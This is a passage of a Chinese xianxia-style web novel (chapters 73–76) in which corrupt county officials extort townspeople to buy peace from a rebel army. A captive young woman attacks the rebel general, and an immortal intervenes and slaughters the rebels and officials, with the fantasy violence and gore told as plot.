他这话一出,几人均是陷入深思,王县令更是面色几度变幻,随即迟疑道:“莫非,你的意思是” 李县丞点头,“既这义师军愿接受我等投诚,算下来,咱们可是解救了全城百姓,既大人您已受累帮忙谈下这番投诚,其余人自然是要表示一番啊。” 王县令顿觉有理,——本官都拉下脸去谈了,你们给点钱也是合理的,再说了,这些钱不都是买命钱么! 汪县尉倒是没想到素日看不顺眼的李县丞竟然能想出这一办法,顿时脸色好了几分。 好事,若收上来的钱财多的话,说不定他们都不必再往内投入,或许还能从中获利几分。 但难题是,城内百姓真会乖乖给钱么? 李县丞扫了他一眼,似乎他这话是十足的蠢话。 王县令食指碾着玉串,冷声道:“若是不给,那便是视全城百姓性命于不顾,这般冷漠之人,便莫怪本官出手太狠。” 几人不敢说话,而当日,县城内叫得上名字的商户全都被请了过去。 等到一个时辰后,这些商户黑着脸,却不敢发作,只能直奔家中去拿那存款。 虽说心有不甘,但王县令以他全家性命作为要挟,这让人如何能不同意? 其中倒是有那硬骨头,指责这番行径是叛国叛民,均被那官兵出刀,当场血溅三尺。 喷涌的鲜血仿若血雨一般,散落下来。 原先还有不满的商户,看着那人转眼间便咽了气,顿时噤若寒蝉。 先有官兵动手在先,又有李县丞威逼利诱在后。 他许下承诺,若自愿出资,以后在本县经营买卖时,均不需交税。 且保证那义师军不会对他们家人出手。 若是不愿意出资 商户们还记得那面容温和的李县丞微笑着开口。 “既不愿珍惜这求生机会,想必是不需要,那便没收资产,将全家老小送出城去自寻生路吧。 毕竟,城内的存活机会只有交了钱的人才配享用。” 除了商户被轮番叫走外,城内同时有数支穿戴盔甲,手持兵器的官兵出动。 这些官兵负责征集百姓手中银钱,这会挨个,从城东到城西,谁也不许少了。 一个个征收效率太低,索性写了帖子,将这帖子张贴得遍地都是。 帖子上写着,若想继续在风仙县内呆着,必须要缴纳买命钱。 成人为一人10两,孩童减半。 限一日内缴齐,不然将会被驱赶出去。 等着帖子一经张贴,几乎瞬间,全县民众的怒火便被引爆。 “买命钱?莫非咱们县令已经投诚?” “嘘——你不要命啦!这不是明眼人都能看出来的事?这劳什子买命钱也太贵了,谁能缴纳得起!” “这般行径属实没骨气,我家有亲属在那开元县已遇害,而我却要主动给那义师军上缴,哪来的道理!” “什么道理不道理的,这县归县令管,咱们哪有说话的份?” 一时间,说什么的都有,但共同点是百姓均是气愤,但又毫无办法。 ——有何法子?他家世世代代生活在这风仙县,若离开这里,以后又该去何处? 再说,只要朝廷当道,那天下乌鸦一般黑,去哪又不是被人欺辱呢! 众人心如死灰,只能拿着多年积蓄前去买命。 在那登记处,围着一圈穿着盔甲,负责管理秩序的官兵。 有人看不下去,低声道:“不去守卫城墙,来这里守着咱们缴费,真是有趣。” 旁人忙摆手,脸色煞白,示意他别再继续说了。 等到轮到他们缴费时,先报名号,随即那记录的官员则会对照户籍,将上缴之人的户籍消掉,这便算作买了命的。 等到一日一过,数支官兵按照那未曾缴纳的记录本,挨个闯进去,将这些人赶出城去。 风仙县内一民居。 当大门被官兵踹开时,那领头的官兵手持一卷文书,对照完毕后便要求对方缴纳那活命钱。 “快些给了才算了事,不然我等难违公命,只能将你们赶出去。” 一家人颤抖如同风中落叶,忙跪地磕头求饶。 “官爷们行行好吧,若是有的话,小人不敢不从,实在是家中没有那些银子,放我们一条生路吧” 起初各别官兵还有些恻隐之心,但这种事实在是太多,而王县令下了死命令,若是不完成任务,恐怕他们也要跟着倒霉。 最后只能狠下心,将这些人全都撵出城去。 且更为过分的是,这些人出城时,不允许带任何包裹出城,就算带了,出了门也要全部将包裹扒光才能走。 在城门口,不少穿着打着补丁的百姓各个哀求,企图将自己仅有的一点身家带走,但均在推搡间被官兵踹了几脚,随即跌倒在地。 一时间,城门口哀鸿遍野,看过的人无一不认为这是人间惨境。 这些被迫赶出城的百姓,各个站在城门口,仰头看着那风仙县。 他们无处可去,只能呆在城门外不走,祈求县老爷可怜,开恩开开城门,让他们回去。 倒有下属将此事报告给王县令,却听王县令淡漠道:“这有何办法,毕竟规矩已定下,若本官心软让他们进来,那那些交了费的人,岂不是心存不满?长此以往,谁还能听从官府说话?” 下属哑口无言,只能退下。 倒是王县令和汪县尉,李县丞,高典历几人,正在饮酒,除了饮酒之外,几人话语间皆是吹嘘王县令这英明决策。 “多亏大人英勇,不然这风仙县定也会遭此毒手,现在咱们银子也凑了不少,想必能让那义师军满意了。” 汪县尉心里舒坦,——这次不仅他们没花钱,反而还从中小捞了一笔,这会马屁像是不要钱一样,吹得王县令直晕乎。 李县丞瞄了一眼吹马的汪县尉,眼神却是扫了眼最近强征上来的银两。 ——满满当当的白银泛着幽幽冷光,被人用红绸缎包着,放在檀香木箱内,这般大的箱子,凑够了十大箱,除却白银以外,还有不少名家书法字画,当然了,至于义师军最为在乎的粮草,他们也额外给准备了一仓库。 第73章 受辱 城内乱成一团,而孙凝羽几次看着这番惨状,脸色一次比一次难看 一城县令,竟为了活命,便要当那叛贼,且更令人不齿的是,这王县令竟还下令征收粮草白银,用作那所谓的“买命钱”! 唯一值得一提的好事便是最近太忙,那王县令的儿子并未有时间过来寻她,好能让她稍微轻快几分,但一想到城外外敌尚未来临,城内却被搞得一团乱,孙凝羽便忍不住气结。 在近期这几日间,孙凝羽时刻关注着孙父动向,今日他倒是日日不在家中,就算在家,也无心看管她。 无事时,孙凝羽便内心隐约生出不安。 ——这义师军如此凶残,哪怕现在说不会攻进来,但这种人的话在她看来那是万万不可信的! 她从父亲那里得知,三日后,那义师军便会来县内。 孙凝羽心中焦虑,与此同时,为预防万一,她率先收拾出来一部分金银细软,而后又挑选了两套适合逃跑的衣服。 除却这些准备外,孙凝羽甚至还亲自前往马厩,安排好一辆不打眼的车,车内塞着不少吃食,取暖用品,就怕当日突然事变,来不及逃跑。 等准备工作都做好后,孙凝羽这才勉强回了屋内,开始心神不宁地等待着三日后。 而风仙县内此刻剩余的百姓皆是缴费后的,人数相较于先前,至少减少了一小半。 剩余的大半人中,有的人家自觉既然已经缴了买命钱,那什么义师军自然不会再上门对他们动手,还有那心思谨慎之人,则是龟缩在家中地窖,亦或是足够藏身之地。 其中,和张氏有过几分交集的黄掌柜,则属于后者。 在义师军即将来临前,他将早就准备好的金银细软及一些干粮放在早就挖掘好的暗道内,随即便让全家人都进来,躲在这暗道内。 反正在城内还不太平时,他是绝对不会出去的。 三天时间一晃而过。 清晨,风仙县外果然出现了一批身穿盔甲,手持武器之人。 最前方骑马的手举的旗帜正是那义师军。 站在城墙上,看向这义师军不断逼近时,王县令先前好不容易做好的心理建设瞬间崩塌。 而后还是下属凑过来低声提醒他,“大人,出门迎接的时间到了,我们还是早些下去吧。” 王县令强逼自己淡定,他身后倒是跟着李县丞,汪县尉几人,虽说有些心虚,但想到之后足以打动这义师军的筹码,王县令便轻松了几分。 而那侯远明则是端正坐在马匹之上,眼神一动不动地看向那前方的风仙县。 不过这风仙县为何在城墙上挂着一串人头? 难道是对自己一行人的挑衅不成? 侯远明心中不太舒服,但看那城墙上确实没有持弓箭的官兵,原先不满的心微微收了几分,继续带人往前走。 而等他距离城墙极近时,原先那紧闭的城墙,此刻却缓缓打开,身着各色衣袍的官员鱼贯而出。 为首的是身穿绿色官袍的王县令,按道理他不能骑马,这会只能快步小跑着去迎接对面。 等站定后,王县令这才和那马匹上端坐着的侯远明套近乎。 “将军威名,如雷贯耳,今日有幸得见尊颜,实乃在下三生之幸,在下已在城内备好美酒美食,还望将军赏脸和在下小酌几杯才是。” 这王县令可是代表朝廷的人,眼看这王县令如此卑躬屈膝,侯远明便是止不住的心情舒畅。 当下应下,而后跟随这王县令进城。 按道理,他应该下马才合乎礼节,但侯远明懒得去思及这些,索性直到进城,都是骑马往前走。 此次他依旧带了三千人,但只有五百人跟随他入城,另外的人则是将风仙县团团围住,生怕这县令在其中捣鬼。 不过即便是五百人,那也看上去相当有压迫感。 王县令不自觉擦了擦额间汗水,这会顾不上琢磨丢脸不丢脸,只能凭借着求生的本能行事。 等入席后,为表衷心,王县令先带头喝酒吃肉,之后又有舞姬歌女献乐,一时间,氛围倒是融洽。 等到酒足饭饱之际,王县令更是命人抬出那十口箱子,打开后,满屋珠光宝气。 侯远明心下畅快,随即倒是想出了新的取乐点子。 “我听闻这风仙县文人骚客频出,各个出口成章,不如请人来为今日赋诗,好让我尽兴一番。” 虽说不知为何侯远明要有此要求,但王县令可不敢怠慢,忙喊心腹前去“请”一些人来。 而在此刻,倒有一心腹凑过来耳语几句。 “大人,想必这侯将军更喜欢那些才女,而非才子,依小人看,不如才子才女均带来,看看这位到底稀罕哪个。” 王县令稍微一想,是这个道理,男儿本色嘛! 但眼下那方家女不在城内,孙家女他还想留给儿子,这人选可该如何选择? 那下属提议去将那白家女带来,王县令顿时满意得直点头。 “可,就将那白家女带来,本官记得这白家女颜色也不错。 能服侍将军,入了将军的眼也算是她运道好。” 那属下急匆匆离开,这会王县令扯出笑,讨好开口:“将军,我县内有不少才女,才华力压本县男子,一会人到了,您大可瞧个稀罕。” 侯远明微熏,但也来了几分兴致。 而白思妙被带走时,她还有一瞬间的发懵,等到说是给那什么侯远明赋诗时,白思妙简直快要哭了。 她亲娘早亡,父亲早就娶了续弦,素日家人对她并不好,何况这会遇到这番不从便要砍头的祸事,自然满口答应,任由那些人将白思妙带走。 而此刻,坐在马车内的白思妙则是脸色忍不住发白。 ——被带去了能有什么好事!要是真的是好事,又如何能轮到她? 等到坐上马车了,她这才得知是那义师军想要才女前去助兴。 一想到自己竟然因为才学出众被推了上来,这不禁让白思妙差产生了一种难以描述的荒谬感。 越往那酒楼去,白思妙反而从原先浑身发抖的状态缓和下来。 既事情已经这么坏了,再哭再喊也无济于事,不如静看事态发展,若真到了以死搏命之际,就算是死,也要拉个垫背的,这才不算枉死! 等到她下车时,倒是恰好遇上了本县同有才子称呼的何元。 只不过这何元这会早没有以往那副淡定姿态,整个身躯忍不住发抖,甚至最后是被旁边人强行扯着进去的。 白思妙别过眼睛不去看他,乖巧地跟随在那人身后,但手心却死死握住那藏起来的银簪。 等到被带到楼上之际,她这才算第一次见到这臭名昭著的义师军。 眼看被众人围在中央的便是那义师军的首领,白思妙心下微微紧张。 倒是侯远明在看到白思妙出现的瞬间,眼神带了些许惊艳。 ——白净纤细,仿若一株极其容易被暴雨打落的白玉兰,那双眼睛看人时怯怯的,倒是惹人怜惜。 当下便让她靠过来坐下吟几句诗。 身旁人不曾开口,但白思妙却知晓自己今儿恐怕要遭难了。 手心的银簪越握越紧,等到感受到此人呼吸间传递过来的热度时,白思妙拼尽全力,对准对方的脖颈便是一刺。 因她靠得近,周围人尚且没来得及反应,便看到那闪着幽幽冷光的银簪径直闪过,而后侯远明的脖颈便缓缓流下一片漆黑的血色。 但可惜的是,侯远明到底是练家子,在白思妙出手之际,他身子往后一仰,避开了大部分簪子,只是被银簪划破了表皮而已。 为防止再有变故,他忙退避开来,生怕眼前这女人发难。 经此番变故,侯远明忍不住心神一震。 方才若不是他反应快,这女人的簪子绝对能深入他的喉咙! 也就是看对方不像是能生事的主,他这才懈怠了几分,让这女子靠近点,好上手一番,倒是没想到,这番疏忽险些要了他的命! 眼看侯远明脸色难看,王县令立马起身,额间汗水不受控制般滚落,忙开口道。 “快来人!给本官将这贱婢拖下去打死!” 侯远明脸色阴沉,怒气难消。 ——这贱婢到底是王县令派来的,亦或是自发行为,他都不关心,但光是打死可如何能解他心头之恨。 他此番大获全胜,回去后便有无限的未来在等着他,若是被这贱婢得手,他所有的努力岂不是要化作泡影? 不由冷声道:“且慢,这等贱婢竟敢伤了本将军,不如先拖下去让我那些将士们替我报仇雪恨,之后再打死也不迟。” 王县令等人正是讨好侯远明,自然是对方说什么都愿意。 毕竟这白家女险些坏了大事! 一想到一会还要消除和侯远明之间的猜忌,这会免不了心生怨恨。 至于这侯远明一听便是想折磨人,他们正巴不得呢,自然满口答应,让这侯明远帮着自己出一份气。 起初,在看到那股鲜血时,白思妙以为事成,但冷静下来,看到那人脸上带着诧异,愤怒,依旧生龙活虎之际,她顿觉心口一凉。 ——没能成功,若是被他捉住结局一定很惨。 可惜了,没能一命换一命。 等听到那人说出那番话语后,白思妙自是不愿顺从他们意思。 不由旁人反应,她转而将簪头对准自己,这时便要自裁。 脖颈已接触到那带着凉气的银簪,想到自己以后再也见不到孙姐姐,又再也看不到知意,也不能前去那斗坡村一见神迹,顿时悲从心底来。 手中的银簪依旧未曾落下,却反而更加用力。 而在此时,闭眼赴死的白思妙却感觉到拿着的银簪阻力加大,这力道让她根本无法继续,只能被迫睁开眼睛。 本以为是被那些贼人控制,但当她在看到手执银簪的那手时,却忍不住陷入呆滞。 第74章 怪物 这手白皙细腻,泛着柔和的光泽,像是世间罕有的羊脂玉精心雕刻而成。 修长的手指轻松地捏紧银簪,随即将那银簪缓缓抽出。 白思妙不受控制地沿着这手去看,在看到此人容颜的瞬间,她脑内“轰隆”一声,思绪不受控制地飞散一地。 天下万物仿若都失去了颜色,周遭喧嚣瞬间消弭。 虽她被称才女,但此刻,她竟无一词能描绘出对方那无上容颜。 此人一袭青色衣袍,明明室内无风,但她却能察觉到一股清风将那青色袍角微微吹起。 而在他身后,金色蛟龙正翻滚奔腾,有撕开万物之姿。 ——神仙。 不知为何,白思妙脑内不受控制地出现这一词。 再看过去,这仙人正眯起眼睛,对她微笑。 “该去死的人不是你,你合该好好活着才是。先起来,站在我身后。” 声音也十分悦耳,像是山间不断流淌的寒泉一般。 此人绝非凡人! 白思妙好不容易将那股震撼压下去,而后忙挣扎着起身,因惊吓,身体此刻竟有些发软,似乎是感受到她此刻的状态,那仙人微微一扫,随即她便感觉膝盖处被一股风扶起,随即借着这股风,她这才能顺利起身,好听从对方的指挥。 而王县令等人则也被吓了一跳。 ——这人是从哪儿跑出来的? 先前一阵风吹过,在他们几人还未反应过来之际,屋内赫然出现了一穿着淡青色衣袍的男子,这男子无论长相气度,皆不像是凡人。 思及先前,王县令不由呆愣住。 难道是那妖物? 原先这妖物不曾露面,本以为长得定是一副妖兽模样,不堪入目,但谁能想到,这妖物竟拥有一副这般令人惊艳的皮囊? 等到众人看着此人背后那翻滚的金龙时,各个变了脸色。 ——这是金龙? 真的假的? 正当众人惊疑不定之际,汪县尉先下了结论。 “定是些障眼法,糊弄人的玩意!” 侯远明也被这番变故惊得呆在原地,但常年带兵打仗,让他察觉到此人背后那两把青龙弯刀正散发出阵阵凶煞之气。 几乎片刻,他一声令下,跟随他身后的五百名将士便立即冲进来,将此人团团围住。 眼看优势在己方,哪怕他有通天的本事,想也是逃不出自己手中。 侯远明不禁轻快了几分。 “来者何人,还不报上名来?” 他心腹忙开口去喊,回应他的却是来人淡漠至极的话语。 “自是来杀你的。” 话音刚落,最先开口的这人便惨叫一声,随即捂着喉咙惊惧倒地。 动作太快,一行人尚未看清楚到底是何杀器,这人喉咙间血流如注,倒地而亡。 侯远明分神一瞧,却看到这人喉咙间插着的竟是一根白玉扇羽。 不等他细细查看,那人背后的两把青龙弯刀正分离剑鞘,旋转着直奔他而来。 几乎瞬间,死亡的感触如影而来,侯远明大惊,立即拉着身旁下属避开这一刀。 这弯刀“噗呲”一声没入血肉,他手中的不禁爆出阵阵血花。 来不及多想,侯远明只能凭借着本能往酒楼外狂奔。 ——他有种预感,若是继续呆在酒楼内,一定会死的! 他带来的五百将士,皆为身穿重铠之人,但这坚硬的铠甲在面对那诡异的弯刀时,却毫无作用,仿若砍瓜切菜一般,逮住谁便是一顿砍。 这铠甲不仅仅没能有相应的防御作用,反而因为过于笨重,不利于逃跑,成了他们的催命符。 身后惨叫声一片,侯远明像是疯了一般只顾着往前跑。 而王县令几人则也顾不上多少,忙往酒楼外面跑。 但他们身体素质如何能比得上侯远明,自然是被弯刀追赶上来。 看着越逼越近的弯刀,王县令面色惨白,哭嚎喊叫,什么好话都说尽了,什么妖爷爷求饶命,自己有眼无珠,不识泰山。 也不知是哪一句话说对了,这弯刀竟然没再继续动作。 王县令刚松了口气,但随即,他便察觉到——自己被绑了! 仿若活物的绳索将他捆绑得死死的,而后又将那李县丞,汪县尉几人也一一捆绑住。 不等几人说话,这绳索竟然飞了起来,直奔那城门而去。 王县令此刻脸色煞白,脑内却忍不住想到了那日李德一行人的下场。 这绳索将他们几人捆至城墙后便不再动弹,倒是他们能清楚地看到那两柄弯刀正泛着寒光,刀光一闪,便有人丧命。 他们看得真切,那弯刀砍的竟都是义师军的人! 而在先前那酒楼内,早就不复原先奢靡之态,里面的人除了死的死,便还是死的死。 白思妙紧紧地跟在那仙人身后,随着他慢悠悠地往外走。 一路走来,她对散落满地的鲜血肠肚早就看惯,一开始还几欲呕吐,但看多了,也就麻木了。 几次那弯刀杀人喷射出鲜血,她本以为要被淋一头时,倒惊异发觉,那仙人竟然是做了法的,她二人身上似乎像是有一层屏障,任何异物都不曾穿透这屏障而来。 二人从鲜血遍布的屋内走出来时,依旧浑身清爽,浑身上下丝毫未曾沾染上血迹。 等到走到酒楼外时,那仙人不曾说话,反而是驭使那弯刀继续杀人。 因距离那侯远明有些许距离,仙人竟直接驭风而去。 至于白思妙,她则被一股风捧起,而后将她放置在一僻静安全之地。 白思妙有些着急地往前看,想看看那仙人是如何动手的,倒是运气好,她所在的正是一处房屋的高处,能够顺利地观察到前方战况。 很快,她便惊讶地发觉,那仙人正腾飞而起,随后直奔地上那义师军首领而去。 侯远明还未从死亡的阴影下缓和下来,脚下生风,不敢停顿,继续穿梭在这县城内,直奔城门而去。 而不知为何,此刻第六感却疯狂响起。 侯远明心头一紧,突然察觉脚下多了一团阴影。 抬头去看,便看到那杀神的一抹淡青色袍角正无风自动。 他顿时慌了神,更用力地奔跑,脚下却突然不受控制地一个踉跄,跌倒在地,因惯性,跌倒时,他甚至沿着街道滚了好几圈才停下来。 不等他从晕眩的状态回神,随即便察觉到一根绳索正像蛇一样快速缠绕上来,随即将他整个人捆得严严实实。 心中无法抑制地产生惊恐,侯远明张大嘴想求救,但那绳索缠得太紧,别说呼叫求饶,就算是呼吸都染上了丝丝缕缕的痛苦。 正当他被缠得几欲窒息时,那绳索终于停了下来。 得到一丝空间的侯远明忙大口呼吸这来之不易的新鲜空气。 而在他不知情的情况下,绳索带着他直奔那城墙,和王县令几人挨个连在一起。 先前王县令几人被捆在城墙上,冷风一吹,再好的心态都得崩,更何况几人都是见到那李德是如何丢了脑袋的,这会被捆时,各个脸色煞白。 好不容易安慰自己说不定之后可以求饶,可以求那妖物放过自己,这会几人在看到侯远明被捆着过来时,先前的那点侥幸心理顿时全没了。 王县令汗如雨下,双眼无神,嘴里不知道在嘀咕些什么,而李县丞则是不复先前温和面庞,脸色罕见的难看。 而此刻,等在门外的义师军则是顿觉不对劲。 ——等一下,刚才是不是他们看花眼了? 总感觉城墙上是不是多了些什么? 还未曾细想,那曹副将却敏锐地察觉到城内似乎有些不对劲。 细听之下,竟然还有哭嚎喊叫的声音? 但思及城内情景,曹副将觉得对面反抗的可能性很低,毕竟先前他们探查过了,这风仙县的战力和开元县一般,如何能反抗的了? 就算擒住了侯远明,对之后处境也无利啊。 且虽说看不上那侯远明,但此人倒是身法还不错,应当不至于会被人生擒才是。 曹副将在外面左思右想,觉得城内不至于这般愚蠢,还在分神想这事呢,却见从城门口踉踉跄跄跑出来一将士。 因天色已晚,第一时间竟没能看到此人,还是这人发出声响才吸引了众人的注意力。 这会仔细看去,这将士不是他们义师军的还能是谁! 此人步伐凌乱,浑身是伤,这会眼看好不容易跑出来了,差点激动得泪流满面。 曹副将在确认这人是自己的人后,顿觉不妙。 他心腹忙去喊话询问那人,却听那人声音带着颤音。 “这城内有怪物啊” 曹副将正琢磨这话为何意,结果却听到一声惨叫。 “啊——” 忙定睛去看,结果便看到先前那将士倒地不起,背后的血喷涌而出,惹得空气中弥漫出几分血腥味来 出手这般快,此人定是不凡,但这人现在在哪? 曹副将心里一紧,还未等他细看,便看到两柄泛着青光的弯刀正闪烁着凌厉的光芒。 最令人诡异的是,分明是这弯刀一刀杀死了人,但眼下这弯刀却是干干净净,刀身不曾沾染上一丝一毫血迹。 本以为对方是人,但看清楚这是两柄无人掌执的弯刀后,曹副将理智轰隆一声崩塌,随即呆愣在原地。 ——这,他没看错吧? 弯刀无人把持,却能自主杀人? 再结合先前那人临死前说的城内有怪物这话,莫非,城内真出了什么让他完全想象不到的大事? 对了,此刻最重要的是将那侯远明安全带回来,不然,他之后可无法对侯天王交差啊。 正是着急间,却见原先漆黑的夜突然闪烁一番,随即竟是亮了起来,在这幽幽金光中,曹副将先看到的是那挂在城墙上的几人。 而其中,侯远明正赫然在其中! 第75章 威慑 不等他思索为何会出现此番变故,这会却看到在那漫天金光中,似有一人似乎飞在空中? 曹副将疑心是自己看错了,但等他揉了揉眼睛,只能看到先前看不太清楚的那人似乎看得更清楚了几分。 ——此人身穿淡青色衣袍,那张脸看得他一愣一愣。 分明是这般紧张的气氛,但不知为何,曹副将却察觉自己像是看不够一般,将这人的眉眼刻画了一遍又一遍。 并非是他故意,而是身体本能,就像看到那绝美壮阔之景,人会忍不住呆愣在原地,而此人的面貌便是一幅精雕细琢的画卷,令人忍不住细细观摩。 且此人就算不论脸,这通天的气度便不似凡人,尤其那背后翻滚不止的金龙,这哪能是凡人能有的东西? 脑内思绪不受控制飞过,等他好不容易才压制住内心混乱的想法,城墙内被捆住的侯远明则忍不住喊叫。 “曹副将,快派人救我,这城内有诡异啊!” 侯远明求救的话语带了几分惶恐,仿佛先前经历过什么大事一般。 听闻他这话,先前被那无人还能杀人的弯刀惊破胆的数千将士,此刻纷纷面面相觑,各个眼露恐惧,不敢上前。 蠢货!哪能灭自家士气,涨他人威风! 即便这人看着便不像是人,但这毕竟还是猜测,此刻侯远明一开口,这便是坐实了对方是诡异的存在。 手下的兵,曹副将是再熟悉不过了,都是一群草台班子凑成的将士,大都是贪生怕死之辈,先前不过是靠着装备和天灾捡了漏,和那些精英士兵差距还是有的。 这城内既有诡异,又亲眼看到那诡异杀人一幕,岂会搏命救这侯远明? 越想,越觉得侯远明此人脑子不够用。 但此刻,既然这人并未直接大开杀戒,那便是说明还是有谈话的空间的。 想到就算回去,无论侯远明是死是活,他均要带此人回去,曹副将顿觉头疼。 无奈之下,只能扯着嗓子恭敬询问那天上之人。 “仙人!在下名为曹一心,是义师军旗下副将领,先前不知城内有仙人在,想必此番定是叨扰到仙人了,那城墙上那人,是我义师军的将领,敢问仙人可否将他放下来,若有任何要求,我们都会尽力去办,您意下如何?” 他说这话时,是下马半跪在地说的,先前在马上时,尚未察觉到对方那摄人心魄的压迫力,这会一跪下,正视前方时,却能在无形中感受到对方那化为实质的压迫感。 那人并未开口,倒是侯远明的呼喊声回答了他的态度。 那系紧的绳索越勒越紧,勒到尽头时,侯远明忍不住疯狂喊叫出声。 等到后来,剧烈的痛苦席卷而来,他反而被绳索压制得无法言语,但那副狰狞模样无一不显示他此刻正经受着极大的痛楚。 曹副将看得真切,想到侯远明对于他的作用,只能咬牙道:“仙人何必如此,我义师军势大,您想要任何东西,我们都会尽力去帮仙人寻来,何故到兵戎相见的地步!” 他身后的数千人虽说依旧站定在原地,但此刻,这些人其实早就丧失了战意。 ——打什么打,对手根本不是人,那飞舞的弯刀便能证明这诡异身份,他们不过是普通人,如何能打得过这诡异? 这会各个盼着曹副将能求和成功,不然恐今日要丧命于此地啊! 而淡得像是一抹青烟的仙人此刻终于开口说话了。 他的声音很低,但不知是用了何秘法,众人只觉得耳膜鼓动,听得真切万分。 “我想要你们的命,也愿意给我?” 此话一出,众人齐刷刷变了脸色。 尤其是那城墙上被绑得结实的几人,听到这话时,正忍不住瑟瑟发抖。 原先那张狂得不可一世的王县令,此刻却忍不住尿了裤子,淅淅沥沥,带着骚臭味的尿液浸润了其余人一身,但此刻已无人在意,因那位一句话,他们便早已被下了死刑。 几乎在他开口的瞬间,那两柄弯刀赫然出现,随即从左到右,挨个将那几人人头砍下。 “噗呲——” 喉管被割开时,血流迸发而出。 几乎瞬间,城墙上便炸开了几朵鲜艳的血花。 那侯远明还张着嘴,但脑袋却不受控制地一骨碌掉在地上。 曹副将被这番变故惊得呆在原地,等反应过来后,那柄弯刀已经下场开始新一轮的收割了。 他顾不得那些,忙翻身上马,直奔远处而去。 ——太邪门了!这等手段,这等人物,绝不是他们能惹得起的! 他为救出侯远明,不惜许下诸多好处,但对方无一动心,反而一门心思的想将他们全部绞杀,可见此人杀心极重。 脑内混乱不堪,曹副将仓皇逃窜,等到不知道跑了有多远,好不容易察觉到摆脱了那诡异的弯刀时,这才停了下来。 因数千人一并逃跑,那场景是要多混乱便有多混乱,其中有人惊慌失措,被对方马匹踩死的便有不少倒霉鬼。 就连曹副将也被人撞击了数下,整个人差点掉落马背,全靠着他硬撑着,这才堪堪跑出来。 等确定视线范围内没看到那弯刀时,曹副将这才草草一点跟着的兵马,——仅有一千人! 两千人竟已被对方屠杀殆尽! 何等残酷的手段! 思及前因后果,曹副将怀疑是这妖物占据了那风仙县,时刻将那风仙县看成自己地盘,而那县令不晓得此事,反而要投诚,主动请他们占据风仙县,这才惹怒了那妖物。 于是便将所有侵入自家领地的人全部杀死! 曹副将此刻早已满脸血污,浑身狼狈,但此地不宜久留,生怕那妖物再追上来,他忙继续前行,直到一口气奔出去数百里,直到身下的马匹跑得再也不肯迈出步伐才停下。 待他从马匹上下来时,身下的马匹竟口吐白沫,倒地不起。 ——竟跑死了一匹马。 知道这便是逃命的极限后,曹副将只能暂时停歇下来。 他身后跟着的上千人也是如此。 一众人惶恐下马,眼看马匹便要累死,忙喂马匹喝点盐水。 算下来,他们一行人已离开够远的了,但不知为何,曹副将却觉得心中不安不仅没有缓解,反而却逐渐加重。 但以目前情况来看的话,这地方确实不曾有问题。 全军皆是疲倦,命令稍作休息后,曹副将也从怀里拿出一块饼,打算吃几口充饥。 而在这时,他却不知为何,心有所感,抬头去看那月亮。 只见皎皎明月中,似有一缥缈人影。 这翩然身影,顿时让他想到了那风仙县的那妖物! 曹副将顿觉口舌发软,一时间什么话都不敢说,只能呆愣愣地看着那人影。 过度恐慌让他连口中的饼都顾不及咽下。 ——莫非是追来了? 但已跑出来这么远,竟这也逃不走? 曹副将顿感崩溃,脑内一片空白,只能呆愣愣地看着那缥缈人影逐渐降至眼前。 那一袭淡青色衣袍,此刻却化作催命符一般。 来人挥手间,他便感觉眼前事物颠倒,等到人头落地后,这才察觉到身子和脑袋早就分了家。 ——竟这般轻易就要了他的命? 人头滚落在地,仿若蝼蚁般仰头去望向这人,却见对方神色淡漠,仿若只是踩死了一蚂蚁而已 这真的妖物么,为何这一刻他却觉得这是仙人。 这般高高在上,视万物为蝼蚁。 “曹副将?曹副将!” 心腹声音传来。 曹副将内心惊惧,剧痛席卷而来,本觉得自己要昏死过去,却被人摇醒。 等到他醒来之际,环顾四周,却发觉自己的脑袋还好好的呆在头上 所以,刚才那是梦? 这梦境过于真实,他甚至还记得梦境中那番绝望,此刻一摸脑门,竟满满当当全是汗。 再稍微一动弹,背后也湿透了。 曹副将抬头去看,却发觉哪有什么明月,此刻全然被乌云遮蔽 莫非刚才的真的是梦? 曹副将心下惊疑,部下已休息了有一个时辰,他立即命令往前继续行走。 行进途中,不知是因为心神惊惧,亦或是那日梦境之事,曹副将一路都觉得浑身沉重,身躯似有千斤重,不等到达城镇,整个人已昏死过去。 而在风仙县内。 先前滚落在地的一串人头此刻全部被那绳索串起来,齐刷刷地挂在城墙上示众。 因先前城内折腾声音过大,躲藏在家中的百姓皆是瑟瑟发抖,不敢出家门一步。 而在其中,那黄掌柜距离那事发之地最近。 前半夜,他始终能听到那惨烈的叫声,哭嚎声,声声入耳,让他恐得直缩身子,搂着怀里的妻子孩子,黄掌柜也吓得半死,随即口中念念有声。 “老天保佑,仙师保佑,让我全家能安安稳稳活下去” 不知是不是仙师真的听到了他的祈求,在后半夜,这声响消失了,伴随而来的便是一片寂静。 黄掌柜确认屋外再无声响,倒是想看看情况,但再想想还是等明日天亮更为妥当,也就继续和妻子儿女躲藏好了,不敢出现。 而被仙人先前送走的白思妙,则是在屋顶看完了先前那一幕。 尤其是那仙人漫不经心地杀掉那素日为非作歹的几人时,白思妙却觉得心口热热的,不知为何,她眼泪却止不住地往下流了又流。 那些人既已死,便再也没人能迫害她们了,但之后的风仙县若不是仙人当道,想必不日便会出现和那王县令几人相差无几的人来。 人人皆有欲望,而仙人却没有。 白思妙脑内想法混乱不堪时,却再次看到那仙人竟直奔她而来。 第76章 报社 那仙人几乎是眨眼间便来到她身旁,而后整个人站定不动,身姿缥缈仿若一抹淡淡的青烟。 白思妙原先还算活络的大脑,这会想说什么却再也说不出来,只能呆愣愣地盯着眼前人。 却听那位道:“做事理应有始有终,若你无异议,我便将你送回家中。” 白思妙没想到仙人竟这般平和,这会惊得不知该说什么,不过好在大脑总算反应过来,绕得飞快。 ——既昨日那些人气势汹汹闯入白府,而后那般招摇将她掳走,这不是明摆着告诉旁人她即将被那贼人强行占有。 虽说昨日千钧一发之际,仙人救下自己,但之后,她又如何能堵住悠悠众口? 虽说白思妙并非那思维古板之人,但架不住时代对女子太过于苛刻,若今日仙人将她送回家中,不日她便会被白父视为家中耻辱送去最偏僻苦寒的寺庙内孤老终生。 虽说也有那家庭开明的父母愿私底下替女儿寻个好去处,亦或是在家中养着,但白思妙很清楚自己的位置,爹不疼娘不爱的,为了家中清誉,家里定会将她送出去,以求避开众人视线。 毕竟还是十来岁出头的少女,一想到未来要时刻与青灯古佛相伴,白思妙便忍不住眼泪直流。 虽说伤心不已,但她这点心思却也无法为仙人道矣,只能蹙眉,苦着脸表示同意。 本以为仙人会将她带走送回家中,出乎意料的是,这仙人竟主动开口问她。 “我已知晓你内心真实想法,你现在有两个选择,一是回家,二是跟我走,我会替你寻一出路。你意下如何?” 